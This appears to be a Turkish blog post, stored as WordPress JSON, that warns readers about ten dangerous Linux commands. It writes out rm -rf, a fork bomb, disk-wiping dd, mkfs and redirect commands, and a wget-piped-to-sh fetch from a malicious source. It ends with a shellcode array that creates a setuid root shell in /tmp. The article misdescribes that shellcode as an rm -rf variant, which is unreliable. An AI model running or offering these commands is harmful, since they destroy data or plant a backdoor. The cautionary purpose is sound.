{"id":14297,"date":"2022-04-21T18:12:03","date_gmt":"2022-04-21T15:12:03","guid":{"rendered":"https:\/\/kutaybilen.com.tr\/?p=14297"},"modified":"2022-04-21T18:12:03","modified_gmt":"2022-04-21T15:12:03","slug":"asla-kullanmamaniz-gereken-10-tehlikeli-linux-komutu","status":"publish","type":"post","link":"https:\/\/kutaybilen.com.tr\/?p=14297","title":{"rendered":"Asla Kullanmaman\u0131z Gereken 10 Tehlikeli Linux Komutu"},"content":{"rendered":"<p>Daha evvel Linux i\u015fletim sistemi kulland\u0131ysan\u0131z, platformun Windows&#39;tan daha ba\u011f\u0131ms\u0131z oldu\u011funu biliyorsunuzdur.\u00a0Linux <strong>a\u00e7\u0131k kaynakl\u0131<\/strong> bir i\u015fletim sistemi ve kullan\u0131c\u0131lara farkl\u0131 s\u00fcre\u00e7ler ger\u00e7ekle\u015ftirme konusunda k\u00e2fi \u00f6zg\u00fcrl\u00fc\u011f\u00fc sa\u011fl\u0131yor.\u00a0Ancak Linux, birinci defa kullananlar i\u00e7in bir o kadar da \u015fiddetli bir sistem\u00a0olabilir.<\/p>\n<p>T\u0131pk\u0131 Windows&#39;ta oldu\u011fu \u00fczere Linux&#39;ta da farkl\u0131 s\u00fcre\u00e7leri ger\u00e7ekle\u015ftirmek i\u00e7in kullanabilece\u011finiz bir\u00e7ok <strong>terminal komutu<\/strong> var. Ancak\u00a0Windows&#39;un tersine, Linux, sisteminize ziyan verebilecek rastgele bir komut \u00e7al\u0131\u015ft\u0131r\u0131p \u00e7al\u0131\u015ft\u0131rmad\u0131\u011f\u0131n\u0131z\u0131 onaylaman\u0131z\u0131 istemiyor. Bu nedenle, a\u015fa\u011f\u0131daki komutlardan ka\u00e7\u0131nman\u0131z\u0131 \u00f6neririz.<\/p>\n<p><b>\u0130\u015fte kullanman\u0131z\u0131 \u00f6nermedi\u011fimiz en tehlikeli 10 Linux terminal komutu:<\/b><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.webtekno.com\/images\/editor\/default\/0002\/35\/8dc3cf93735948090fcfb62f046f45cc0f877800.jpeg\"\/><\/p>\n<p><b><strong>1.\u00a0rm -rf<\/strong><\/b><\/p>\n<p><strong>rm -rf<\/strong> komutu, bir klas\u00f6r\u00fc ve i\u00e7eri\u011fini silmek i\u00e7in en s\u00fcratli yollardan biri. Lakin k\u00fc\u00e7\u00fck bir yaz\u0131m kusuru yahut bilgisizlik, i\u015fletim sisteminizde geri d\u00f6n\u00fc\u015f\u00fc olmayan bir hasara neden olabilir. rm komutuyla kullan\u0131lan se\u00e7eneklerden kimileri, rm -r komutunda oldu\u011fu \u00fczere, klas\u00f6r\u00fc oldu\u011fu \u00fczere siler. Hatta bo\u015f klas\u00f6r\u00fc bile siler. <strong>rm -f<\/strong> komutu da salt okunur belgeleri ve k\u00f6k dizinde bulunan t\u00fcm evraklar\u0131 silebilir.<\/p>\n<p><b><strong>2.\u00a0: () {: |: &#038;} ;:<\/strong><\/b><\/p>\n<p>\u00dcstteki komut asl\u0131nda bir <strong>fork bomb<\/strong> sald\u0131r\u0131s\u0131.\u00a0\u00d6n planda ve art planda bir kere olmak \u00fczere iki kere \u00e7a\u011fr\u0131lan bir i\u015flev tan\u0131mlayarak \u00e7al\u0131\u015f\u0131r. Basit\u00e7e komutu a\u00e7\u0131klamak gerekirse; :() ile bir i\u015flev tan\u0131mlan\u0131r, |: ile i\u015flev kendi i\u00e7inden \u00e7a\u011f\u0131r\u0131l\u0131r\u00a0ve &#038; ile arkaplanda \u00e7al\u0131\u015fmas\u0131 sa\u011flan\u0131r, ; i\u015flevi sonland\u0131r\u0131r ve : ile i\u015flev \u00e7a\u011f\u0131r\u0131l\u0131r.\u00a0Sistem donuncaya kadar tekrar tekrar \u00e7al\u0131\u015fmaya devam eder.<\/p>\n<p><b><strong>3.\u00a0command> \/ dev \/ sda<\/strong><\/b><\/p>\n<p>\u00dcstteki komut, \/ dev \/ sda dizinine komutun \u00e7\u0131kt\u0131s\u0131n\u0131 m\u00fcellif. Komut i\u015flenmemi\u015f datalar\u0131 muharrir ve dizindeki t\u00fcm evraklar i\u015flenmemi\u015f bilgilerle de\u011fi\u015ftirilir.\u00a0B\u00f6ylece blokta toplam bilgi kayb\u0131 olur.<\/p>\n<p><b><strong>4.\u00a0mv directory \/ dev \/ null<\/strong><\/b><\/p>\n<p>Bu komut temel olarak t\u00fcm evraklar\u0131 <strong>\/ dev \/ null<\/strong> dizinine ta\u015f\u0131r. Evet, \u00f6b\u00fcr bir deyi\u015fle\u00a0t\u00fcm evraklar\u0131n sistemden kald\u0131r\u0131lmas\u0131 manas\u0131na gelir.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.webtekno.com\/images\/editor\/default\/0002\/35\/70497c1abdedceba47c60eed93ec2c305041a89f.jpeg\"\/><\/p>\n<p><b><strong>5.\u00a0wget http: \/\/ malicious_source -O | sh<\/strong><\/b><\/p>\n<p>\u00dcstteki komut, berbat maksatl\u0131 bir kaynaktan komut evrak\u0131 indirir\u00a0ve daha sonra sisteminizde \u00e7al\u0131\u015ft\u0131r\u0131r.\u00a0<strong>wget<\/strong> komutu belgeyi indirecek ve sh komutu ise indirilen belgeyi sisteminizde a\u00e7acakt\u0131r.<\/p>\n<p><b><strong>6.\u00a0Mkfs.ext3 \/ dev \/ sda<\/strong><\/b><\/p>\n<p>Bu komut ise sadece &#39;sda&#39;\u00a0blo\u011funu bi\u00e7imlendirir ve \u00fcstteki komutu \u00e7al\u0131\u015ft\u0131rd\u0131ktan sonra sabit disk \u015fof\u00f6r\u00fcn\u00fcz\u00fcn s\u0131f\u0131rlanaca\u011f\u0131n\u0131 bilmelisiniz.\u00a0Veriler silinince\u00a0sistem\u00a0kurtar\u0131lamaz formda kal\u0131r.<\/p>\n<p><b><strong>7.\u00a0> File<\/strong><\/b><\/p>\n<p>> File komutu evrak i\u00e7eri\u011fini h\u00fcr b\u0131rakmak i\u00e7in kullan\u0131l\u0131r. \u015eayet bir yaz\u0131m yan\u0131lg\u0131s\u0131 yahut yanl\u0131\u015fl\u0131k sonucu <strong>> xt.conf<\/strong> olarak y\u00fcr\u00fct\u00fcl\u00fcrse, yap\u0131land\u0131rma evrak\u0131n\u0131 yahut \u00f6b\u00fcr bir sistem\u00a0dosyas\u0131n\u0131 yazabilir.<\/p>\n<p><b><strong>8. ^ foo ^ bar<\/strong><\/b><\/p>\n<p>Bu komut, t\u00fcm komutu yine yazman\u0131za gerek kalmadan evvelki komutu d\u00fczenlemek i\u00e7in kullan\u0131l\u0131r. Ancak\u00a0komutu kullanarak evvelki komuttaki de\u011fi\u015fikli\u011fi dikkatlice denetim etmezseniz\u00a0risk\u00a0al\u0131rs\u0131n\u0131z ve hakikaten s\u0131k\u0131nt\u0131l\u0131 olabilir.<\/p>\n<p><b><strong>9.\u00a0dd if = \/ dev \/ random of = \/ dev \/ sda<\/strong><\/b><\/p>\n<p>\u00dcstteki komutu \/ dev \/ sda olarak bitirirseniz ve blok i\u00e7in rastgele data yazacakt\u0131r. Al\u0131\u015f\u0131lm\u0131\u015f ki bunun sonucunda sisteminiz tutars\u0131z ve kurtar\u0131lamaz bir noktaya gelecek.<\/p>\n<p><b><strong>10. G\u00f6r\u00fcnmez Komutlar<\/strong><\/b><\/p>\n<p>A\u015fa\u011f\u0131daki komut, asl\u0131nda bu yaz\u0131daki birinci komuttan (rm-rf) di\u011fer bir \u015fey de\u011fil. Kodu terminale yazman\u0131z halinde\u00a0k\u00f6k dizini tertemiz yapar \u00e7\u0131kars\u0131n\u0131z. Asl\u0131nda\u00a0tehdidin gizlenebilece\u011fini ve bazen bazen tespit edilemeyece\u011fini g\u00f6steriyor. Ne yapt\u0131\u011f\u0131n\u0131z\u0131 ve sonucun ne olaca\u011f\u0131n\u0131 bilemezsiniz. Bilinmeyen bir kaynaktan kod derleme \/ \u00e7al\u0131\u015ft\u0131rma yapmay\u0131n.<\/p>\n<p>char esp[] __attribute__ ((section(\u201c.text\u201d))) \/* e.s.p release *\/ = \u201cxebx3ex5bx31xc0x50x54x5ax83xecx64x68\u2033 \u201cxffxffxffxffx68xdfxd0xdfxd9x68x8dx99\u2033 \u201cxdfx81x68x8dx92xdfxd2x54x5exf7x16xf7\u2033 \u201cx56x04xf7x56x08xf7x56x0cx83xc4x74x56\u2033 \u201cx8dx73x08x56x53x54x59xb0x0bxcdx80x31\u2033 \u201cxc0x40xebxf9xe8xbdxffxffxffx2fx62x69\u2033 \u201cx6ex2fx73x68x00x2dx63x00\u2033 \u201ccp -p \/bin\/sh \/tmp\/.beyond; chmod 4755 \/tmp\/.beyond;\u201d;<\/p>\n<div> <\/div>\n","protected":false},"excerpt":{"rendered":"<p>Daha evvel Linux i\u015fletim sistemi kulland\u0131ysan\u0131z, platformun Windows&#39;tan daha ba\u011f\u0131ms\u0131z oldu\u011funu biliyorsunuzdur.\u00a0Linux a\u00e7\u0131k kaynakl\u0131 bir &#8230;<\/p>\n","protected":false},"author":1,"featured_media":14298,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[854],"tags":[859,2931,2932,1360,1503],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/kutaybilen.com.tr\/index.php?rest_route=\/wp\/v2\/posts\/14297"}],"collection":[{"href":"https:\/\/kutaybilen.com.tr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kutaybilen.com.tr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kutaybilen.com.tr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kutaybilen.com.tr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=14297"}],"version-history":[{"count":1,"href":"https:\/\/kutaybilen.com.tr\/index.php?rest_route=\/wp\/v2\/posts\/14297\/revisions"}],"predecessor-version":[{"id":14299,"href":"https:\/\/kutaybilen.com.tr\/index.php?rest_route=\/wp\/v2\/posts\/14297\/revisions\/14299"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kutaybilen.com.tr\/index.php?rest_route=\/wp\/v2\/media\/14298"}],"wp:attachment":[{"href":"https:\/\/kutaybilen.com.tr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=14297"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kutaybilen.com.tr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=14297"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kutaybilen.com.tr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=14297"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}